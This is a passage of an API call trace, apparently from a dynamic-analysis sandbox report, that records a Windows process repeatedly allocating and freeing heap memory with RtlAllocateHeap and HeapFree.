hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.050] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.050] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.050] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.051] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.051] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.051] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.051] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.051] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.051] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.051] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.051] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.051] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.051] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.051] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0267.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.051] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.053] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.053] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.053] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.053] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.053] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.053] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.053] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.053] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.053] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.053] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.053] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.053] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.053] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.053] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.053] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.053] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.053] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.053] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.053] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.053] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.053] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.053] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.053] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.054] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.054] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.054] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.054] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.054] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.054] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.054] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.054] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.054] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.055] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.055] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.055] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.055] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.055] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0267.055] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.055] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.055] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.055] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.055] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.055] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.055] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.055] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.055] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.055] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.055] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.055] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.055] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.055] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.055] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.055] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.055] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.055] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.055] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.055] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.055] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.055] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.057] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.057] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.057] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.057] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.057] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.057] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.057] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.057] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.057] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.057] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.057] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.057] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.057] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.057] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.057] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.059] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.060] 